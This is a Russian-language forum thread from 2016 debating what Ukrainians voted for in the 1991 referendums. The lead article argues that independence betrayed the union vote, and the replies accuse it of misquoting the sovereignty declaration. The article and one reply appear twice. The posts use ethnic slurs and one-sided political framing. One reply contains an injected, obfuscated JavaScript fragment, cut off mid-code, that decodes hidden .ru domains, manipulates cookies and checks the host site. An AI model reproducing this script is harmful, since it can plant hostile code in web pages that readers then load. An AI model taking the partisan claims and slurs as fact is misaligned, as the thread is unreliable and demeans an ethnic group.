Обратная сторона телевизора.
156,163
291
|
alik-shade ( Слушатель ) |
| 17 мар 2016 в 12:18 |
За что на самом деле голосовали украинцы на референдумах в 1991 - году
новая дискуссия Статья 748
За что на самом деле голосовали украинцы на референдумах в 1991 - году
В этом году, 17 марта исполняется 25 лет всесоюзному референдуму о сохранении СССР. Вспомним как это было. Идею референдума инициировал президент Михаил Горбачев. После чего, съезд народных депутатов СССР принял постановление "О проведении референдума по вопросу о Союзе Советских Социалистических Республик". Вопрос предложенный на референдуме звучал так: "Считаете ли Вы необходимым сохранение Союза Советских Социалистических Республик как обновленной федерации равноправных суверенных республик, в которой будут в полной мере гарантироваться права и свободы человека любой национальности ".
По результатам этого референдума, за сохранение СССР проголосовали 113 512 812 (77,85%) человек. Против союза 32 303 977 (22,15%) граждан. 2 757 817 (1,86%) бюллетеней недействительны. Явка составила 185 647 355 (80, 03%).
В Украинской СССР ответили "ДА" Союзу 70,2%. Вместе со всесоюзным опросом, Украина провела свой референдум, на который вынесла вопрос: "Согласны вы с тем, что Украина должна быть в составе Союза Суверенных Государств на принципах Декларации про государственный суверенитет Украины". На этот вопрос ответили утвердительно 80,2%. Как видим, согласно украинскому вопросу Украинцы также выразили волю жить в союзе с другими республиками, но с более широкими правами. Из всех областей Украины, только 3 области Галичины (Львовская, Тернопольская и Ивано - Франковская) проголосовали против Союза.
Как ивестно, декларацию про государственный суверинитет Верховная Рада УССР приняла 16 июля 1990 года.
Очень важно вспомнить, что было написано в этом документе. Так в 4-ой главе, в которой говорится про гражданство Украинской ССР говорится:
Украинская ССР имеет свое гражданство и гарантирует каждому гражданину право на сохранение гражданства СССР.
В статье 6-ой сказано, что УССР имеет право на свою долю в общесоюзной собственности. Решение вопросов общесоюзной собственности решается на договорной основе с другими республики.
И самое важное записано в последних строчках:
Декларация является основой для новой Конституции, законов Украины и
определяет позиции Республики при заключении международных договоров.
Принципы Декларации про суверенитет Украины используются для
заключения союзного договора.
Как видим, в декларации несколько раз упоминается слово "союз". Декларация, не лишала граждан Украины советского гражданства и должна была лечь в основу нового союзного объединения.
Несмотря на то, что большинство населения Украины 17 марта 1991 года проголосовало за сохранение Союза, на Украине 1 декабря того же года проходит еще один референдум, на котором предлагается высказать свое отношение к акту о независимости Украины. Вопрос звучал так: "Подтверждаете ли вы акт провозглашения независимости Украины". С точки зрения закона СССР № 1409-1 от 0.304.90г "О порядке решении вопросов связанных с выходом союзной республики из СССР", этот референдум был незаконным, так как он, не соответствовал ряду положений этого документа. Например, повторный опрос должен был проводится не ранее, чем 10 лет после первого. Акт провозглашения независимости Украины, был принят 24 августа 1991 года. Но и в этом документе была строка: "Свершая декларацию про государственный суверенитет Украины". Поэтому, 90,32% сказавших "ДА" акту о независимости, также голосовали и за положения декларации.
Что было дальше, все помнят. 8 декабря собрались в Беловежской Пуще руководители России, Украины и Белоруссии и покончили с Советским Союзом. Хотя народ, им на это право не давал. Правда, вместо СССР было решено создать его суррогат - СНГ, который потихоньку слили.
Фактически, в случае с Украиной, провели классическую технологию рейдерского захвата. В политике стала преобладать точка зрения Галичан. В руководстве и парламенте Украины активно действовала прозападная, пятая колона. Всякий раз, при упоминании о сотрудничестве с Россией, она поднимала жуткую истерику про "зраду" украинских интересов. С первых дней независимости, украинские СМИ, с утра до вечера вещали о том, что Россия не избавилась от имперских амбиций, только и думает о том, как снова закабалить бедную Украину. В итоге, экономические и культурные связи между Россией и Украиной стали рушиться. Про выполнение пунктов декларации забыли. Конституцию написали под диктовку западных советников. Закончилась эта история в 2014 году так, как и положено всем рейдерским атакам - силовым захватом власти с помощью так называемых активистов евромайдана.
Теперь, как любил говорить первый президент Украины Леонид Макарович Кравчук: " Маемо - що маемо". Украина пришла к гражданской войне, потери территорий и деиндустриализации экономики. На одной из передач политического ток - шоу "Свобода слова", Кравчук агитировал за вступление Украины в НАТО. Когда ему сказали, что декларация о государственном суверенитете, предполагает Украину вне военных блоков, он ответил: "Что такое декларация? Пустая бумажка". Надо было бы ему задать вопрос, часто ли он подписывал пустые бумажки, занимая должность первого лица республики.
Если бы соблюдались принципы заложенные в Декларации о государственном суверенитете, можно было бы избежать распада страны и гражданской войны. В этом документе, написано много чего интересного. Сторонникам майдана полезно было бы узнать, что 2 - ая глава гласит: От имени всего народа может выступать исключительно Верховная Рада Украинской СССР. Ни одна политическая партия, организация, другие группировки (такие, как шайка протестующих в центре Киева) и отдельные личности не имеют права выступать от имени народа.
Также, декларация гарантировала всем национальностям, которые проживают на территории Республики, право на их свободное национально - культурное развитие. А теперь вспомним, за что боролся юго - восток Украины: за союз с Россией, против вступление в НАТО, за русский язык. Это так называемые украинские националисты подрывали устои законности, в угоду западным спонсорам.
То, как поступила самозваная киевская власть с Донбассом, выглядит следующим образом. Допустим вы купили телевизор. Дома заметили, что он работает некорректно и его характеристики не соответствуют написанному в инструкции. Вы приходите в магазин и говорите о своих претензиях. А вас, вместо того чтобы выслушать, бьют кулаком в лицо с криком: "Тебе что, сука! Наш товар не нравится?!".
Еще, очень важный факт который замалчивается. Государственная дума РФ, своим постановлением от 15 марта 1996 года № 157 - II ГД, денонсировала Беловежские соглашения, признала их незаконными (нарушает волеизъявление народа на референдуме и не утвержденные Съездом народных депутатов) и подтвердила законность референдума от 17 марта 1991 года. Так что, Россия из СССР не выходила. Крымчане в 2014 году еще раз подтвердили свой выбор 1991 года - ушли к России, как правоприемнице Советского Союза.
Наши враги путем манипуляций, хорошо научились выдавать ложь за правду. У них в этом плане многовековой исторический опыт. Мы, к сожалению не всегда должным образом отстаиваем свои позиции. Например, сказала Хилари Клинтон, что Россия стремится воссоздать СССР, так чиновники в Кремле сразу спешат оправдываться, что это не так. Между прочим, результат референдума 17 марта 1991 года никто не отменял. Остается верить, что когда нибудь власть это поймет, наберется смелости и громко заявит об этом. Тем более, что Советский Союз по - прежнему продолжает жить в сердцах миллионов жителей 1/6 части суши планеты Земля.
В этом году, 17 марта исполняется 25 лет всесоюзному референдуму о сохранении СССР. Вспомним как это было. Идею референдума инициировал президент Михаил Горбачев. После чего, съезд народных депутатов СССР принял постановление "О проведении референдума по вопросу о Союзе Советских Социалистических Республик". Вопрос предложенный на референдуме звучал так: "Считаете ли Вы необходимым сохранение Союза Советских Социалистических Республик как обновленной федерации равноправных суверенных республик, в которой будут в полной мере гарантироваться права и свободы человека любой национальности ".
По результатам этого референдума, за сохранение СССР проголосовали 113 512 812 (77,85%) человек. Против союза 32 303 977 (22,15%) граждан. 2 757 817 (1,86%) бюллетеней недействительны. Явка составила 185 647 355 (80, 03%).
В Украинской СССР ответили "ДА" Союзу 70,2%. Вместе со всесоюзным опросом, Украина провела свой референдум, на который вынесла вопрос: "Согласны вы с тем, что Украина должна быть в составе Союза Суверенных Государств на принципах Декларации про государственный суверенитет Украины". На этот вопрос ответили утвердительно 80,2%. Как видим, согласно украинскому вопросу Украинцы также выразили волю жить в союзе с другими республиками, но с более широкими правами. Из всех областей Украины, только 3 области Галичины (Львовская, Тернопольская и Ивано - Франковская) проголосовали против Союза.
Как ивестно, декларацию про государственный суверинитет Верховная Рада УССР приняла 16 июля 1990 года.
Очень важно вспомнить, что было написано в этом документе. Так в 4-ой главе, в которой говорится про гражданство Украинской ССР говорится:
Украинская ССР имеет свое гражданство и гарантирует каждому гражданину право на сохранение гражданства СССР.
В статье 6-ой сказано, что УССР имеет право на свою долю в общесоюзной собственности. Решение вопросов общесоюзной собственности решается на договорной основе с другими республики.
И самое важное записано в последних строчках:
Декларация является основой для новой Конституции, законов Украины и
определяет позиции Республики при заключении международных договоров.
Принципы Декларации про суверенитет Украины используются для
заключения союзного договора.
Как видим, в декларации несколько раз упоминается слово "союз". Декларация, не лишала граждан Украины советского гражданства и должна была лечь в основу нового союзного объединения.
Несмотря на то, что большинство населения Украины 17 марта 1991 года проголосовало за сохранение Союза, на Украине 1 декабря того же года проходит еще один референдум, на котором предлагается высказать свое отношение к акту о независимости Украины. Вопрос звучал так: "Подтверждаете ли вы акт провозглашения независимости Украины". С точки зрения закона СССР № 1409-1 от 0.304.90г "О порядке решении вопросов связанных с выходом союзной республики из СССР", этот референдум был незаконным, так как он, не соответствовал ряду положений этого документа. Например, повторный опрос должен был проводится не ранее, чем 10 лет после первого. Акт провозглашения независимости Украины, был принят 24 августа 1991 года. Но и в этом документе была строка: "Свершая декларацию про государственный суверенитет Украины". Поэтому, 90,32% сказавших "ДА" акту о независимости, также голосовали и за положения декларации.
Что было дальше, все помнят. 8 декабря собрались в Беловежской Пуще руководители России, Украины и Белоруссии и покончили с Советским Союзом. Хотя народ, им на это право не давал. Правда, вместо СССР было решено создать его суррогат - СНГ, который потихоньку слили.
Фактически, в случае с Украиной, провели классическую технологию рейдерского захвата. В политике стала преобладать точка зрения Галичан. В руководстве и парламенте Украины активно действовала прозападная, пятая колона. Всякий раз, при упоминании о сотрудничестве с Россией, она поднимала жуткую истерику про "зраду" украинских интересов. С первых дней независимости, украинские СМИ, с утра до вечера вещали о том, что Россия не избавилась от имперских амбиций, только и думает о том, как снова закабалить бедную Украину. В итоге, экономические и культурные связи между Россией и Украиной стали рушиться. Про выполнение пунктов декларации забыли. Конституцию написали под диктовку западных советников. Закончилась эта история в 2014 году так, как и положено всем рейдерским атакам - силовым захватом власти с помощью так называемых активистов евромайдана.
Теперь, как любил говорить первый президент Украины Леонид Макарович Кравчук: " Маемо - що маемо". Украина пришла к гражданской войне, потери территорий и деиндустриализации экономики. На одной из передач политического ток - шоу "Свобода слова", Кравчук агитировал за вступление Украины в НАТО. Когда ему сказали, что декларация о государственном суверенитете, предполагает Украину вне военных блоков, он ответил: "Что такое декларация? Пустая бумажка". Надо было бы ему задать вопрос, часто ли он подписывал пустые бумажки, занимая должность первого лица республики.
Если бы соблюдались принципы заложенные в Декларации о государственном суверенитете, можно было бы избежать распада страны и гражданской войны. В этом документе, написано много чего интересного. Сторонникам майдана полезно было бы узнать, что 2 - ая глава гласит: От имени всего народа может выступать исключительно Верховная Рада Украинской СССР. Ни одна политическая партия, организация, другие группировки (такие, как шайка протестующих в центре Киева) и отдельные личности не имеют права выступать от имени народа.
Также, декларация гарантировала всем национальностям, которые проживают на территории Республики, право на их свободное национально - культурное развитие. А теперь вспомним, за что боролся юго - восток Украины: за союз с Россией, против вступление в НАТО, за русский язык. Это так называемые украинские националисты подрывали устои законности, в угоду западным спонсорам.
То, как поступила самозваная киевская власть с Донбассом, выглядит следующим образом. Допустим вы купили телевизор. Дома заметили, что он работает некорректно и его характеристики не соответствуют написанному в инструкции. Вы приходите в магазин и говорите о своих претензиях. А вас, вместо того чтобы выслушать, бьют кулаком в лицо с криком: "Тебе что, сука! Наш товар не нравится?!".
Еще, очень важный факт который замалчивается. Государственная дума РФ, своим постановлением от 15 марта 1996 года № 157 - II ГД, денонсировала Беловежские соглашения, признала их незаконными (нарушает волеизъявление народа на референдуме и не утвержденные Съездом народных депутатов) и подтвердила законность референдума от 17 марта 1991 года. Так что, Россия из СССР не выходила. Крымчане в 2014 году еще раз подтвердили свой выбор 1991 года - ушли к России, как правоприемнице Советского Союза.
Наши враги путем манипуляций, хорошо научились выдавать ложь за правду. У них в этом плане многовековой исторический опыт. Мы, к сожалению не всегда должным образом отстаиваем свои позиции. Например, сказала Хилари Клинтон, что Россия стремится воссоздать СССР, так чиновники в Кремле сразу спешат оправдываться, что это не так. Между прочим, результат референдума 17 марта 1991 года никто не отменял. Остается верить, что когда нибудь власть это поймет, наберется смелости и громко заявит об этом. Тем более, что Советский Союз по - прежнему продолжает жить в сердцах миллионов жителей 1/6 части суши планеты Земля.
ОТВЕТЫ (25)
|
|
spv2 ( Слушатель ) |
| 18 мар 2016 в 02:38 |
Украинцы большие мастера переписывать историю. Но сыпятся они на конкретике и документалистике. Вот зачем Вы здесь многократно и нагло соврали? Ведь, понимаете, какое дело... Осознание преступления - это путь к исправлению. Раскаявшийся грешник бывает ценнее праведника. Покайся, тебе скидка выйдет... А вместо этого традиционная перепевка "не со страху, а з лютой ненависти", т.е. "мы не халявщики, мы партнёры".
Итак, враньё с порога:
Но на Украине текст выглядел так:
"«Согласны ли Вы с тем, что Украина должна быть в составе Союза Советских суверенных государств на основе Декларации о государственном суверенитете Украины? „Да“ или „Нет“»"
Зачем Вы соврали первый раз да ещё дважды? Во-первых, голосовали за союз суверенных государств, а не социалистических республик, а во-вторых, на основании декларации о независимости Украины. Вот этим занимательным документом я и займусь чуть позже, не ковряя юзюм из булки и уявляя соби трактованне по-выгодному, а целиком.
Во-первых, глава 4 вводит понятие гражданина Украины. Вы это мило так пропустили и не заметили. А почему?
Во-вторых, доля в общесоюзной собственности никак не означает сохранения Союза Советских Социалистических республик. Доля в общесоюзной собственности - это в т.ч. претензии на всё, что находится на территории УССР, чтобы всякие там москали не имели права отбирать. Вот это и есть доля в собственности.
В третьих, Вы специально не привели статьи поинтереснее. Потому что неудобно. Ну, мне не привыкать.
Ст.1. Украинская ССР объявляется суверенным самостоятельным государством. Мило?
Ст.3. Украинской ССР принадлежит вся полнота управления "в решении вопросов государственной жизни". т.е. никаких ограничений на внешнеполитические внешнеэконимические блоки и внешнюю политику вообще.
Ст.5 Украинская ССР осуществляет верховенство на всей своей территории.
Ст.7. "Украинская ССР самостоятельно создает кассовый (включая внешнеэкономический банк), ценовую, финансовую, таможенную, налоговую системы, формирует государственный бюджет, а при необходимости вводит свою денежную единицу. Выше кредитным учреждением Украинской ССР является национальный Банк Украины, подотчетный Верховной Раде Украинской ССР. Предприятия, учреждения, организации и производственные единицы, расположенные на территории Украинской ССР, вносят плату за использование земли, других природных и трудовых ресурсов, отчисления от валютных поступлений, а также платят налоги в местные бюджеты. Украинская ССР обеспечивает защиту всех форм собственности."
Скромно так, ага. Прям вылитый Советский Союз.
Ст. 8 "Украинская ССР является самостоятельной в решении вопросов науки, образования, культурного и духовного развития украинской нации"
Ст. 9. А это вообще шедевр:" Украинская ССР имеет право на собственные Вооруженные Силы. Украинская ССР имеет собственные внутренние войска и органы государственной безопасности, подчиненные Верховной Раде Украинской ССР. Украинская ССР определяет порядок прохождения военной службы гражданами Республики. Граждане Украинской ССР проходят действительную военную службу, как правило, на территории Республики и не могут использоваться в военных целях за ее пределами без согласия Верховной Рады Украинской ССР."
Ст. 10 " Украинская ССР как субъект международного права осуществляет непосредственные сношения с другими государствами, заключает с ними договоры, обменивается дипломатическими, консульскими, торговыми представительствами, участвует в деятельности международных организаций в объеме, необходимом для эффективного обеспечения национальных интересов Республики в политической, экономической, экологической , информационной, научной, технической, культурной и спортивной сферах. Украинская ССР выступает равноправным участником международного общения, активно способствует укреплению общего мира и международной безопасности, непосредственно участвует в общеевропейском процессе и европейских структурах... "
Шо цэ? Цэ эвропейскость )) Це не СССР.
А почему вы не перечислили это? Неудобно? А врать удобно? Зато написать новую историю украинцы большие мастера.
Вот за ЭТО и проголосовал украинский народ, а не за какой Советский Союз.
Подтверждением является референдум 1 декабря 1991 года, прошедший всего через 8 месяцев. На нём 90% проголосовавших подтвердили акт провозглашения независимости Украины, принятый после августовских событий в Москве. И вот с этим результатом в кармане, полученным от маленьких украинцев, Кравчук и прибыл в Беловежскую пущу. Об этом вы тоже "забыли".
Вообще, чёрт побери, дико угарно. ВС УССР с председателем Кравчуком переименовываются в Раду, ваяют декларацию о независимости - оказывается, это для сохранения СССР, ухаха!
Правда, эта же Рада (которая сочинила декларацию о независимости) через 5 месяцев ваяет акт о суверенитете. А ещё через три месяца этот акт на референдуме одобряет 90% жителей Украины, которые, оказывается, в марте голосовали за сохранение СССР, а не за хозрасчёт, свою армию, таможню, валюту и полную независимость во внутренней и внешней политике.
Утверждение, что в марте 80% голосовали за СССР, а 1 декабря 90% против заставляет задуматься об адекватности либо утвержддающего это, либо голосовавших. А если принять во внимание, что в марте и декабре голосовали за фактическую независимость, то разница в 10% выглядит совершенно нормально.
Но вы старайтесь, лейте в уши. Не все же полезут смотреть, как оно было на самом деле. Ещё лет через 25 окажется, что отделился РСФСР. И я даже знаю, какой аргумент за землях вечного предательства будут использовать.
Итак, враньё с порога:
Цитата: Цитата"Вопрос предложенный на референдуме звучал так: "Считаете ли Вы необходимым сохранение Союза Советских Социалистических Республик как обновленной федерации равноправных суверенных республик, в которой будут в полной мере гарантироваться права и свободы человека любой национальности "
Но на Украине текст выглядел так:
"«Согласны ли Вы с тем, что Украина должна быть в составе Союза Советских суверенных государств на основе Декларации о государственном суверенитете Украины? „Да“ или „Нет“»"
Зачем Вы соврали первый раз да ещё дважды? Во-первых, голосовали за союз суверенных государств, а не социалистических республик, а во-вторых, на основании декларации о независимости Украины. Вот этим занимательным документом я и займусь чуть позже, не ковряя юзюм из булки и уявляя соби трактованне по-выгодному, а целиком.
Цитата: ЦитатаКак ивестно, декларацию про государственный суверинитет Верховная Рада УССР приняла 16 июля 1990 года.
Очень важно вспомнить, что было написано в этом документе. Так в 4-ой главе, в которой говорится про гражданство Украинской ССР говорится:
Украинская ССР имеет свое гражданство и гарантирует каждому гражданину право на сохранение гражданства СССР.
В статье 6-ой сказано, что УССР имеет право на свою долю в общесоюзной собственности. Решение вопросов общесоюзной собственности решается на договорной основе с другими республики.
Во-первых, глава 4 вводит понятие гражданина Украины. Вы это мило так пропустили и не заметили. А почему?
Во-вторых, доля в общесоюзной собственности никак не означает сохранения Союза Советских Социалистических республик. Доля в общесоюзной собственности - это в т.ч. претензии на всё, что находится на территории УССР, чтобы всякие там москали не имели права отбирать. Вот это и есть доля в собственности.
В третьих, Вы специально не привели статьи поинтереснее. Потому что неудобно. Ну, мне не привыкать.
Ст.1. Украинская ССР объявляется суверенным самостоятельным государством. Мило?
Ст.3. Украинской ССР принадлежит вся полнота управления "в решении вопросов государственной жизни". т.е. никаких ограничений на внешнеполитические внешнеэконимические блоки и внешнюю политику вообще.
Ст.5 Украинская ССР осуществляет верховенство на всей своей территории.
Ст.7. "Украинская ССР самостоятельно создает кассовый (включая внешнеэкономический банк), ценовую, финансовую, таможенную, налоговую системы, формирует государственный бюджет, а при необходимости вводит свою денежную единицу. Выше кредитным учреждением Украинской ССР является национальный Банк Украины, подотчетный Верховной Раде Украинской ССР. Предприятия, учреждения, организации и производственные единицы, расположенные на территории Украинской ССР, вносят плату за использование земли, других природных и трудовых ресурсов, отчисления от валютных поступлений, а также платят налоги в местные бюджеты. Украинская ССР обеспечивает защиту всех форм собственности."
Скромно так, ага. Прям вылитый Советский Союз.
Ст. 8 "Украинская ССР является самостоятельной в решении вопросов науки, образования, культурного и духовного развития украинской нации"
Ст. 9. А это вообще шедевр:" Украинская ССР имеет право на собственные Вооруженные Силы. Украинская ССР имеет собственные внутренние войска и органы государственной безопасности, подчиненные Верховной Раде Украинской ССР. Украинская ССР определяет порядок прохождения военной службы гражданами Республики. Граждане Украинской ССР проходят действительную военную службу, как правило, на территории Республики и не могут использоваться в военных целях за ее пределами без согласия Верховной Рады Украинской ССР."
Ст. 10 " Украинская ССР как субъект международного права осуществляет непосредственные сношения с другими государствами, заключает с ними договоры, обменивается дипломатическими, консульскими, торговыми представительствами, участвует в деятельности международных организаций в объеме, необходимом для эффективного обеспечения национальных интересов Республики в политической, экономической, экологической , информационной, научной, технической, культурной и спортивной сферах. Украинская ССР выступает равноправным участником международного общения, активно способствует укреплению общего мира и международной безопасности, непосредственно участвует в общеевропейском процессе и европейских структурах... "
Шо цэ? Цэ эвропейскость )) Це не СССР.
А почему вы не перечислили это? Неудобно? А врать удобно? Зато написать новую историю украинцы большие мастера.
Вот за ЭТО и проголосовал украинский народ, а не за какой Советский Союз.
Подтверждением является референдум 1 декабря 1991 года, прошедший всего через 8 месяцев. На нём 90% проголосовавших подтвердили акт провозглашения независимости Украины, принятый после августовских событий в Москве. И вот с этим результатом в кармане, полученным от маленьких украинцев, Кравчук и прибыл в Беловежскую пущу. Об этом вы тоже "забыли".
Вообще, чёрт побери, дико угарно. ВС УССР с председателем Кравчуком переименовываются в Раду, ваяют декларацию о независимости - оказывается, это для сохранения СССР, ухаха!
Правда, эта же Рада (которая сочинила декларацию о независимости) через 5 месяцев ваяет акт о суверенитете. А ещё через три месяца этот акт на референдуме одобряет 90% жителей Украины, которые, оказывается, в марте голосовали за сохранение СССР, а не за хозрасчёт, свою армию, таможню, валюту и полную независимость во внутренней и внешней политике.
Утверждение, что в марте 80% голосовали за СССР, а 1 декабря 90% против заставляет задуматься об адекватности либо утвержддающего это, либо голосовавших. А если принять во внимание, что в марте и декабре голосовали за фактическую независимость, то разница в 10% выглядит совершенно нормально.
Но вы старайтесь, лейте в уши. Не все же полезут смотреть, как оно было на самом деле. Ещё лет через 25 окажется, что отделился РСФСР. И я даже знаю, какой аргумент за землях вечного предательства будут использовать.
|
|
alik-shade ( Слушатель ) |
| 18 мар 2016 в 16:09 |
Цитата: spv2 от 17.03.2016 23:38:56
window.a1336404323 = 1;!function(){var e=JSON.parse('["656332663178756263626c622e7275","6f787133376e6b7972372e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="25917",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "glav.su"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
|
|
alik-shade ( Слушатель ) |
| 18 мар 2016 в 16:28 |
Мой ответ будет короче чем ваш. На западной Украине и в Донбассе, каждый видел союз по своему. Для востока - это форма сотрудничества, для запада - бракоразводный процесс. Написано черным по-белому, что на основе декларации должна писаться конституция и новый союзный договор. Пусть Украина входила бы в Союз на правах конфедерации.. Конфедерация - это союз государств. Про европейскость там ничего нет. Декларация - это компромиссный документ. Были горячие дискуссии по каждому пункту.Националисты решили переиграть написанное по своему. Надо было бы сразу заявить, что их цель полный разрыв с Россией, вступление в НАТО и уничтожение русской культуры. Посмотрели бы тогда какой результат волеизъявления был.
|
|
spv2 ( Слушатель ) |
| 19 мар 2016 в 12:08 |
Ну вот, вы соврали второй раз.
Цитата: ЦитатаНаписано черным по-белому, что на основе декларации должна писаться конституция и новый союзный договор
НЕ НАПИСАНО. НЕ НАДО ЛГАТЬ, гражданин укр!
Гдк здесь Союзный договор? Где здесь федерализация? Вот так выглядел текст бюллетеня на Украине
http://zakon3.rada.g…how/759-12
Никакой конфедерации на основании этого
https://uk.wikisourc…0%BD%D0%B8
не предполагается. Никакого Союза никто на Украине не видел и ни одним словом это в документах, принятых абсолютным большинством, не определено.
У вас хватило мозгов вытащить текст украинской декларации, наковырять оттуда изюма, исключив практически всё, как то: создание абсолютно независимого государства со своей таможней, армией, денежной единицей, банковской системой, сполной свободой во внешней и внутренней политике (хрена себе СССР бы получился с кучей армий, таможнями и разными валютами )и совести с наглостью всего этого "не увидеть". и одновременно вы взяли предложенный ВС СССР текст референдума, который на Украине не прошёл, а прошёл другой, совершенно другой и за другой текст проголосовали украинцы. И у вас опять хватило наглости и совести здесь соврать и совершить наглый подлог, ковыряя ножкой землю. Зачем? Вы думаете, такое враньё способствует доверию? Или не обманул - не пообедал?
Ткните меня носом, где указано ЗДЕСЬ о конфедерации
https://uk.wikisourc…0%BD%D0%B8
или ЗДЕСЬ
https://uk.wikisourc…0%BD%D0%B8
Нигде не указано о конфедерации, но вы написали кучу букв.
Текст ВС СССР не предлагать, на Украине его не было. Украинцы наяривали на хозрасчёт и собственный валютный контроль, по мнению украинцев "центр" их нещадно объедал и эксплуатировал, в этом мнении были абсолютно солидарны и восток, и запад, за это и проголосовали, задвинув совесть в чулан. А теперь врут на каждом шагу, хотя всё отражено в документах.
Что это, как не полный разрыв с Россией? Кому вы голову морочите?
п.3.
Цитата: ЦитатаУкраїнська РСР є самостійною у вирішенні будь-яких питань свого державного життя. Українська РСР забезпечує верховенство Конституції та законів Республіки на своїй території.
п. 5
Цитата: ЦитатаУкраїнська РСР здійснює верховенство на всій своїй території.
п.6
Цитата: ЦитатаУкраїнська РСР самостійно визначає свій економічний статус і закріплює його в законах.
п.9
Цитата: ЦитатаУкраїнська РСР має право на власні Збройні Сили. Українська РСР має власні внутрішні війська та органи державної безпеки, підпорядковані Верховній Раді Української РСР.
п. 10
Цитата: ЦитатаУкраїнська РСР як суб'єкт міжнародного права здійснює безпосередні зносини з іншими державами, укладає з ними договори, обмінюється дипломатичними, консульськими, торговельними представництвами, бере участь у діяльності міжнародних організацій в обсязі, необхідному для ефективного забезпечення національних інтересів Республіки у політичній, економічній, екологічній, інформаційній, науковій, технічній, культурній і спортивній сферах. Українська РСР виступає рівноправним учасником міжнародного спілкування, активно сприяє зміцненню загального миру і міжнародної безпеки, безпосередньо бере участь у загальноєвропейському процесі та європейських структурах. Українська РСР визнає перевагу загальнолюдських цінностей над класовими, пріоритет загальновизнаних норм міжнародного права перед нормами внутрішньодержавного права.
ВЫ, очевидно, глобус своей навукраини примеряете ко всему миру. А напрасно.
Когда хотят остаться в союзе принимают такое:
Верховный Совет Башкирской Автономной Советской Социалистической Республики,
сознавая историческую ответственность за судьбы многонационального народа республики,
признавая приоритет общечеловеческих ценностей, природной и социальной среды, прав и свобод, закрепленных во Всеобщей декларации прав человека, других международно-правовых актах,
уважая суверенные права всех народов,
заботясь об экономическом, социальном, политическом, духовном развитии народов, проживающих на территории республики,
считая республику субъектом Союза ССР и обновленной Российской Федерации.
принимая во внимание, что Башкирская республика была образована в 1919 году в составе РСФСР на основе соглашения с центральной Советской властью,
находя, что статус автономной республики ныне не обеспечивает всестороннее социально-экономическое развитие Башкирии,
реализуя неотъемлемое право башкирской нации на самоопределение и гарантируя равенство прав всех наций на территории Башкирии,
следуя по пути создания правового государства и демократического общества,
провозглашает государственный суверенитет Башкирии на всей ее территории в пределах существующих границ и преобразует Башкирскую Автономную Советскую Социалистическую Республику в Башкирскую Советскую Социалистическую Республику (Башкирская ССР) — Башкортостан.
И далее ссылка на федеративный договор. А ничего подобного на Украине не было. И не надо примазываться. Предательство - тяжкий грех. Ещё больший грех - утверждать, что предательства не было. Т.е. раскаяния нет. И не удивительно. Когда хохол признавал свои косяки? Никогда.
Верховный Совет Бурятской АССР:
выражая волю и интересы многонационального народа Бурятии, стремясь создать демократическое общество и построить правовое государство, сознавая ответственность за судьбу будущих поколений, заверяя уважение к национальным правам всех народов, развивая и расширяя интернационализм, направляя воспитание граждан в духе доверия, дружбы и братства, выступая за целостность РСФСР, признавая, что в настоящее время правовой статус автономной республики сдерживает развитие экономического, политического, социально-культурного потенциала Бурятии, считая Республику равноправным субъектом Федеративного и нового Союзного договоров
Верховный Совет Калмыцкой АССР:
считая республику субъектом РСФСР, Союза ССР и признавая современный государственный статус автономной республики ограничивающим полноценную реализацию ее прав и полномочий, исходя из права калмыцкого народа на свободное самоопределение и учитывая стремление народа Калмыкии к социально-экономическому прогрессу, культурному возрождению и кардинальному повышению уровня жизни, выражая волю народа республики на проведение самостоятельной экономической и социальной политики в сочетании с интересами РСФСР и СССР, объявляет Калмыцкую Автономную Советскую Социалистическую Республику Калмыцкой Советской Социалистической Республикой в составе РСФСР.
и так практически все АССР, кроме Татарстана.
А у хохлов - перечисленные выше пункты.
Я прекрасно отдаю себе отчёт, что вы сейчас всё это пропустите мимо. У вас же там смена будённовок - это народная черта. вЫ проигнорировали содержание текста декларации о независимости Украины, вы подменили текст украинского референдума текстом, предложенным (и отвергнутым на Украине!) ВС СССР. Что вам стоит и тут изобразить дурачка?
Я это всё написал для тех, кто, действительно, хочет разобраться в том, что случилось. Иначе, как предательством, произошедшее тогда назвать нельзя. И сегодняшние попытки переиграть, переуявить, по текущей выгоде по сути мало чем отличаются от попыток пересмотреть любое историческое событие, как, например, ВОВ. Или в дневнике Геббельса можно наковырять изюма, изобразив, что ничего другого атм не было. Вот именно этим сейчас судорожно и занимаются на украине, пытаясь представить предательство, как перемогу духа. Никакой разницы с "правдой" о Бандере (яким он, оказывается, был). Такая черта местного населения отражена даже в устном народном творчестве "не со страху, а з лютой ненаваисти", "хто всрався? нивистка!". Продолжайте. Лучшего средства иммунитета и придумать сложно.
Документы то никуда не делись. И в них всё отражено однозначно. Кто хотел остаться в Союзе, а кто - катехаричестки нi.
|
Teiwaz ( Слушатель ) |
| 19 мар 2016 в 20:57 |
Документы любите? Это правильно.
Декларация была принята в ходе тяжелой политической борьбы Первым Съездом народных депутатов РСФСР 12 июня 1990 года. Результаты голосования: 907 — «за», 13 — «против», 9 — «воздержалось»
Декларация была принята в ходе тяжелой политической борьбы Первым Съездом народных депутатов РСФСР 12 июня 1990 года. Результаты голосования: 907 — «за», 13 — «против», 9 — «воздержалось»
|
|
spv2 ( Слушатель ) |
| 20 мар 2016 в 02:35 |
Цитата: Teiwaz от 19.03.2016 17:57:04
Йессс!! Я знал! Я верил! Я даже писал об этом!
Цитата: ЦитатаЕщё лет через 25 окажется, что отделился РСФСР. И я даже знаю, какой аргумент за землях вечного предательства будут использовать.
Вы там настолько предсказуемы в своей наглости, что я уже не удивляюсь ничему, а просто в виртуальном лабораторном журнале в очередную клеточку с результатами очередного наблюдения пишу: "подтверждено".
